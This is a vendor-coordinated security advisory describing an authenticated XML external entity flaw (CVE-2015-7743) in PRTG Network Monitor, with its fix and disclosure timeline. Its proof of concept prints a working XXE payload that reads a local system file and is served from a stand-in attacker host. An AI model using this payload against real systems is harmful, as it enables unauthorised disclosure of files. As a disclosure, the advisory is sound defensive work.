Advisory: XML External Entity Expansion in Paessler PRTG Network Monitor

Authenticated users who can create new HTTP XML/REST Value sensors in
PRTG Network Monitor can read local files on the PRTG host system via
XML external entity expansion.


Details
=======

Product: Paessler PRTG Network Monitor
Affected Versions: 14.4.12.3282
Fixed Versions: 16.2.23.3077/3078
Vulnerability Type: XML External Entity Expansion
Security Risk: medium
Vendor URL: https://www.paessler.com/
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-012
Advisory Status: published
CVE: CVE-2015-7743
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7743


Introduction
============

"PRTG Network Monitor is the powerful and comprehensive network
monitoring solution from Paessler AG. It monitors your network using a
whole range of technologies and assures the availability of network
components and measures traffic and usage. PRTG saves costs by avoiding
outages, optimizing connections, saving time and controlling service
level agreements (SLAs)."

(from the vendor's website)[1]


More Details
============

An attacker with access to a PRTG Network Monitor account with
sufficient privileges to create or configure XML/REST sensors can read
files stored on the system's local disk. These sensors are intended to
query a URL and, depending on the configuration, check whether there is
a valid response or read the value of a specific XML node in the
document that is returned. This functionality is vulnerable to XML
external entity expansion.


Proof of Concept
================

In order to exploit this vulnerability an HTTP XML/REST Value sensor has
to be set up to access an attacker-controlled URL and to read the value
of a specific XML node, for example:

https://attacker.example.com/xeee-hosts.xml

The XML document "xeee-hosts.xml" contains an external entity that uses
the "SYSTEM" keyword to load a local file as the content of the "hosts"
entity:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY hosts SYSTEM "file://C:\Windows\System32\drivers\etc\hosts">
]>
<root>&hosts;</root>

Since the XML parser of PRTG Network Monitor evaluates external
entities, the XML parser fetches the file

"C:\Windows\System32\drivers\etc\hosts"

from the disk of the local system and inserts its content into the
"root" node of the XML document. If the sensor is configured to return
the value of that "root" node, the contents of that file are displayed
in the web interface of PRTG Network Monitor. This discloses the
contents of the file to attackers which otherwise would not be able to
read local files.


Fix
===

Update to a version greater or equal to 16.2.23.3077/3078 (see [2]).


Security Risk
=============

Attackers who can create new HTTP XML/REST sensors in PRTG Network
Monitor, are able to use the XML external entity expansion to read files
on the local system.  Depending on the data stored on the vulnerable
system, this vulnerability may pose a high risk. However, as attackers
are required to already have valid user credentials for the application,
the vulnerability is only rated to have a medium risk potential.


Timeline
========

2015-08-28 Vulnerability identified in PRTG Network Monitor
2015-09-04 Customer approved disclosure of vulnerability
2015-09-04 CVE ID requested
2015-09-24 CVE ID requested again
2015-10-07 CVE ID assigned
2015-10-21 Vendor contacted
2016-04-04 Vendor released fixed version
2016-05-31 Advisory released


References
==========

[1] https://www.paessler.com
[2] https://www.paessler.com/prtg/history/stable


RedTeam Pentesting GmbH
=======================

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